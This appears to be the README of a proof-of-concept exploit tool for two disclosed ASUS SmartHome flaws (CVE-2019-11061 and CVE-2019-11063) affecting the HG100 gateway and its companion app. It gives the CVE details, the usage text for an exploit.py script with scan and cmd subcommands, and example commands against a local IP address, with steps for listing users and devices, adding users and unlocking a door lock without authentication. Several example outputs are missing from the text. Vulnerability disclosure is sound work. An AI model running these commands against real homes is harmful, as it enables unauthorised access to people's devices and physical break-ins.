ASUS-SmartHome-Exploit

CVE IDs

CVE-2019-11061 : Broken access control in HG100

Affected products : ASUS SmartHome Gateway HG100 Firmware version < 4.00.09

CVE-2019-11063 : Broken access control in SmartHome app

Affected products : ASUS SmartHome Android APP version < 3.0.45_190701

Description

If the attacker is on the same internal network as the HG100 or a mobile device with the companion APP(android or iPhone). The attacker can send control requests to them.

The attacker then does not need any authentication to do the following:

1. Get all user names that have been added to the HG100.

2. Get all devices information under the SmartHome Gateway(HG100).

3. Control all controllable devices (e.g. DoorLock, Meter Plug ...) under the SmartHome Gateway.

The following need password (4 to 6 digits, default: "0000") :

1. Add users to HG100.

Exploit usage:

scan exploitable port :

usage: exploit.py scan [-h] [-v] target_ip

scan exploitable port

positional arguments:
  target_ip   scan ip

optional arguments:
  -h, --help  show this help message and exit
  -v          show account email list

send command to target :

usage: exploit.py cmd [-h]
                      (-u | -l | -s device_id | -c device_id status | -a username)
                      [--user username] [--new-user username] [-v]
                      target

send command to target

positional arguments:
  target                <target-ip>:<port>

optional arguments:
  -h, --help            show this help message and exit
  -u, --list-user       list all user in device
  -l, --list-device     list all device status
  -s device_id, --device-status device_id
                        list device status
  -c device_id status, --device-control device_id status
                        control device status
  -a username, --add-user username
                        add a user to device
  --user username       assign user for cmd
  --new-user username   create a new user for cmd
  -v                    show account email list

Note: 2019/5/15 - ASUS release update for SmartHome APP(3.0.42_190515) and Gateway(4.00.06). And added SSL to HTTP service. But this vulnerability still exists. For this update, you need to specify protocal when using the "cmd" argument. For example:

$ ./exploit.py cmd https://10.42.50.166:8083 -l

Use example:

Step1:

Scan mobile device (installed the companion APP for android or iPhone) exploitable port :
P.S. The -v option will list the users that have been added to the HG100.

or

Scan HG100 exploitable port :

Step2:

Get all user that have been added to the HG100:

or add a new one:

Note: use https://10.42.50.166:8083 for "cmd" argument.
For example:

$ ./exploit.py cmd https://10.42.50.166:8083 -u

Step3:

Get all devices information under the SmartHome Gateway: P.S. If the --user option is not set, the first user in HG100 will be selected automatically. (Because no password is needed)

Compare with app:

Step4:

Control (unlock) the DoorLock. P.S. the value 1028 get from -l option(step3).

Result: